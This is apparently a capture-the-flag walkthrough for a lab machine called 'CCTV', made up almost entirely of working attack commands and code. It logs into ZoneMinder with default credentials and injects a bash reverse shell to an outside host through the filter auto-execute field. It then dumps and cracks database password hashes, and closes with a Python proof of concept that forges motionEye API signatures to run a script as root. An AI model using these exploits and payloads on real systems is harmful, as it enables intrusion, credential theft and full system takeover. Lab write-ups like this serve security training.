Post

CCTV

CCTV

1/ Recon

1.1 Port scan

1
2
3
4
5
6
nmap -sC -sV 10.129.1.208


PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu
80/tcp open  http    Apache httpd 2.4.58

1.2 Add host entry

1
echo '10.129.1.208 cctv.htb' | sudo tee -a /etc/hosts

2/ Web App Discovery

1
2
3
4
5
6
7
8
9
10
11
curl -s -c /tmp/cctv.cookie http://cctv.htb/zm/ > /tmp/login.html
csrf=$(rg -o "name='__csrf_magic' value=\"[^\"]+\"" /tmp/login.html | sed 's/.*value="//;s/"$//')

curl -s -b /tmp/cctv.cookie -c /tmp/cctv.cookie \
-d "__csrf_magic=$csrf&action=login&view=login&username=admin&password=admin" \
'http://cctv.htb/zm/?view=login' > /tmp/post_login.html

v1.37.63
canEdit["Events"] = true;
canEdit["System"] = false;
var user = {"Id":3,"Username":"admin", ... "System":"View", ...}

3/ Foothold via ZoneMinder Filter Command Execution

3.1 Create a camera source

Create a test frame and MJPEG server:

1
curl -sL 'https://placehold.co/640x480/jpg?text=CAM' -o /tmp/frame.jpg
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
  #!/usr/bin/env python3
  # /tmp/mjpeg_server2.py
  from http.server import BaseHTTPRequestHandler, HTTPServer
  import time

  with open('/tmp/frame.jpg','rb') as f:
      FRAME=f.read()

  class H(BaseHTTPRequestHandler):
      def do_GET(self):
          if self.path.startswith('/mjpeg'):
              self.send_response(200)
              self.send_header('Cache-Control','no-cache')
              self.send_header('Pragma','no-cache')
              self.send_header('Connection','close')
              self.send_header('Content-Type','multipart/x-mixed-replace; boundary=frame')
              self.end_headers()
              try:
                  while True:
                      self.wfile.write(b'--frame\r\n')
                      self.wfile.write(b'Content-Type: image/jpeg\r\n')
                      self.wfile.write(f'Content-Length: {len(FRAME)}\r\n\r\n'.encode())
                      self.wfile.write(FRAME)
                      self.wfile.write(b'\r\n')
                      self.wfile.flush()
                      time.sleep(0.2)
              except Exception:
                  pass
          else:
              self.send_response(200)
              self.send_header('Content-Type','image/jpeg')
              self.send_header('Content-Length',str(len(FRAME)))
              self.end_headers()
              self.wfile.write(FRAME)

      def log_message(self, fmt, *args):
          pass

  HTTPServer(('0.0.0.0',8002),H).serve_forever()

Run:

1
python3 /tmp/mjpeg_server2.py

3.2 Create ZoneMinder monitor pointing to attacker MJPEG

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
  csrf=$(curl -s -b /tmp/cctv.cookie 'http://cctv.htb/zm/index.php?view=monitor&tab=general' \
    | rg -o "name='__csrf_magic' value=\"[^\"]+\"" | sed 's/.*value="//;s/"$//')

  curl -s -b /tmp/cctv.cookie -c /tmp/cctv.cookie -X POST \
    'http://cctv.htb/zm/index.php?view=monitor&tab=general' \
    --data-urlencode "__csrf_magic=$csrf" \
    --data-urlencode 'action=Save' \
    --data-urlencode 'newMonitor[Name]=webmon' \
    --data-urlencode 'newMonitor[Type]=Ffmpeg' \
    --data-urlencode 'newMonitor[Function]=Record' \
    --data-urlencode 'newMonitor[Enabled]=1' \
    --data-urlencode 'newMonitor[Method]=rtpRtsp' \
    --data-urlencode 'newMonitor[Path]=http://10.10.14.98:8002/mjpeg' \
    --data-urlencode 'newMonitor[Width]=640' \
    --data-urlencode 'newMonitor[Height]=480'

3.3 Trigger filter command execution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
nc -lvnp 4445

csrf=$(curl -s -b /tmp/cctv.cookie 'http://cctv.htb/zm/index.php?view=filter&Id=8' \
| rg -o "name='__csrf_magic' value=\"[^\"]+\"" | sed 's/.*value="//;s/"$//')

curl -s -b /tmp/cctv.cookie -c /tmp/cctv.cookie -X POST \
    'http://cctv.htb/zm/index.php?view=filter&Id=8' \
    --data-urlencode "__csrf_magic=$csrf" \
    --data-urlencode 'action=execute' \
    --data-urlencode 'object=filter' \
    --data-urlencode 'filter[Name]=exec_filter' \
    --data-urlencode 'filter[UserId]=3' \
    --data-urlencode 'filter[Query][terms][0][attr]=MonitorId' \
    --data-urlencode 'filter[Query][terms][0][op]=='
    --data-urlencode 'filter[Query][terms][0][val]=1' \
    --data-urlencode 'filter[Query][sort_field]=StartDateTime' \
    --data-urlencode 'filter[Query][sort_asc]=1' \
    --data-urlencode 'filter[Query][skip_locked]=0' \
    --data-urlencode 'filter[Query][limit]=0' \
    --data-urlencode 'filter[AutoExecute]=1' \
    --data-urlencode "filter[AutoExecuteCmd]=bash -c 'bash -i >& /dev/tcp/10.10.14.98/4445 0>&1'" \
    --data-urlencode 'filter[ExecuteInterval]=1'

Connection received on 10.129.1.208 38958
bash: cannot set terminal process group (1527): Inappropriate ioctl for device
bash: no job control in this shell
www-data@cctv:/var/cache/zoneminder/events$

4/ Post-Exploitation as www-data

Extract DB creds from ZoneMinder config:

1
cat /etc/zm/zm.conf | egrep 'ZM_DB_(HOST|NAME|USER|PASS)'

Dump ZoneMinder users:

1
2
3
4
5
6
7
8
9
mysql -uzmuser -pzmpass -D zm -e 'select Id,Username,Password from Users;'

  +----+------------+--------------------------------------------------------------+
  | Id | Username   | Password                                                     |
  +----+------------+--------------------------------------------------------------+
  |  1 | superadmin | $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm |
  |  2 | mark       | $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. |
  |  3 | admin      | $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m |
  +----+------------+--------------------------------------------------------------+

5/ Crack mark Password and SSH

1
2
3
4
5
6
7
8
9
10
cat > /tmp/zm_hashes.txt << 'EOF'
superadmin:$2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
mark:$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
admin:$2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
EOF

john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt /tmp/zm_hashes.txt
john --show --format=bcrypt /tmp/zm_hashes.txt

mark:???

Login as mark:

1
ssh mark@10.129.1.208

6/ Discover Local motionEye Attack Surface

As mark, inspect local services:

1
2
3
4
5
6
7
8
9
ss -ltnp
systemctl list-units --type=service --all | grep -i motion

motionEye config:

cat /etc/motioneye/motion.conf

# @admin_username admin
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0

Unauthenticated local API exposure evidence:

1
2
3
4
5
6
7
8
9
10
curl -s -i http://127.0.0.1:8765/config/list/ | head -n 12
curl -s -i -X POST http://127.0.0.1:8765/action/1/lock/ | head -n 12

HTTP/1.1 200 OK
Server: motionEye/0.43.1b4
  ...
{"cameras":[...,"actions":["lock","snapshot"]]}

HTTP/1.1 200 OK
Server: motionEye/0.43.1b4

7/ Root Escalation PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
  #!/usr/bin/env python3
  # motioneye_root_poc.py
  import io
  import os
  import re
  import tarfile
  import hashlib
  import urllib.parse
  import requests
  import time

  BASE = "http://127.0.0.1:8765"
  KEY = "989c5a8ee87a0e9521ec81a79187d162109282f0"
  SIGN_RE = re.compile(r'[^a-zA-Z0-9/?_.=&{}\[\]":, -]')

  def sign(method, path, body, key):
      parts = list(urllib.parse.urlsplit(path))
      query = [q for q in urllib.parse.parse_qsl(parts[3], keep_blank_values=True) if q[0] != "_signature"]
      query.sort(key=lambda x: x[0])
      query = [(n, urllib.parse.quote(v, safe="!'()*~")) for (n, v) in query]
      parts[0] = ""
      parts[1] = ""
      parts[3] = "&".join([f"{n}={v}" for n, v in query])
      path = urllib.parse.urlunsplit(parts)
      path = SIGN_RE.sub("-", path)
      key = SIGN_RE.sub("-", key)

      try:
          body_str = body.decode("utf-8") if isinstance(body, (bytes, bytearray)) else str(body)
      except Exception:
          body_str = ""
      if body_str.startswith("---"):
          body_str = ""
      body_str = SIGN_RE.sub("-", body_str)

      raw = f"{method}:{path}:{body_str}:{key}"
      return hashlib.sha1(raw.encode()).hexdigest().lower()

  payload = """#!/bin/bash
  id > /tmp/action_id.txt
  cp /home/sa_mark/user.txt /tmp/user.txt
  cp /root/root.txt /tmp/root.txt
  chmod 644 /tmp/action_id.txt /tmp/user.txt /tmp/root.txt
  """

  buf = io.BytesIO()
  with tarfile.open(fileobj=buf, mode="w:gz") as t:
      ti = tarfile.TarInfo("lock_1")
      data = payload.encode()
      ti.size = len(data)
      ti.mode = 0o755
      t.addfile(ti, io.BytesIO(data))
  blob = buf.getvalue()

  boundary = "-rootboundary"
  body = (
      f"--{boundary}\r\n"
      'Content-Disposition: form-data; name="files"; filename="cfg.tar.gz"\r\n'
      "Content-Type: application/gzip\r\n\r\n"
  ).encode() + blob + f"\r\n--{boundary}--\r\n".encode()

  path = "/config/restore/?_username=admin"
  sig = sign("POST", path, body, KEY)
  url = f"{BASE}{path}&_signature={sig}"

  r = requests.post(url, data=body, headers={"Content-Type": f"multipart/form-data; boundary={boundary}"}, timeout=15)
  print("restore:", r.status_code, r.text)

  r = requests.post(f"{BASE}/action/1/lock/", timeout=10)
  print("trigger:", r.status_code, r.text)

  time.sleep(1)
  for p in ["/tmp/action_id.txt", "/tmp/user.txt", "/tmp/root.txt"]:
      print(p, "exists=", os.path.exists(p))
      if os.path.exists(p):
          print(open(p).read().strip())
1
2
3
4
5
6
7
python3 motioneye_root_poc.py

restore 200 {"ok": true, "reboot": false}
trigger 200

/tmp/action_id.txt exists= True
uid=0(root) gid=0(root) groups=0(root)